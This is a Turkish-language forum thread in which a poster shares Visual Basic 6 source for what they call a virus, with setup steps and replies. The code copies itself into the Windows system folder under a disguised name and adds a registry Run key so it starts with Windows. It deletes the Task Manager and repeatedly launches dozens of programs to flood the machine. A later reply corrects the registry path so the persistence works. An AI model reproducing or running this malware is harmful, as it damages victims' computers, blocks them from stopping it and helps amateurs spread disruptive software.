Öncelikle forma bir timer nesnesi ekleyip formun borderstyle özelliğini none yapıyorus timer1 in intervalini 600 yapın ve aşağıdaki kodları yazın yada yapıştırın xD

Private Sub Timer1_timer()
For i = 1 To 1000
Shell "cmd"
Shell "calc"
Shell "C:\Program Files\Messenger\msmsgs.exe"
Shell "explorer"
Shell "mspaint"
Shell "sndrec32"
Shell "C:\Program Files\Movie Maker\moviemk.exe"
Shell "winmine"
Shell "C:\WINDOWS\system32\write.exe"
Shell "sysedit.exe"
On Local Error Resume Next
Kill "c:\windows\system32\taskmgr.exe"
Next
End Sub
Private Sub Form_Initialize()
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "\" & ad
FileCopy TamYol, "C:\WINDOWS\system32\juschet.exe"
End Sub
Private Sub Form_load()
FileCopy "c:\windows\system32\taskmgr.exe", "c:\windows\repair\taskmgr.exe"
Timer1.Interval = 10
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Me.Hide
App.TaskVisible = True
Form1.Visible = True
End Sub
Private Sub Form_Terminate()
Dim ac, d1 As String
d1 = "C:\WINDOWS\system32\juschet.exe"
ac = Shell(d1)
End Sub
Private Sub Form_Unload(Cancel As Integer)
FileCopy "c:\windows\repair\taskmgr.exe", "c:\windows\system32\taskmgr.exe"
End Sub



Kodlar bunlar +rep artık yane :10::21:

Ne diyim uğRaŞmışın .. €Lİne sağLıq

saol xD fakat işe yarar bir virüs daha basit istersen onu da verem al :d

buda new heur virüs diğer topic de açıyorum :d

SSaOL KALsIn ßhoş işLErLE uğraşcak kadar çhoq Zamanım Yhoq

knk orda CUR RENT VERSİON OLMUŞ KAYIT DEFTERİ ORDAKİ BOŞLUĞU SİLİP CURRENT YAPIVERCEN TAMAMDIR xD benim hatam sory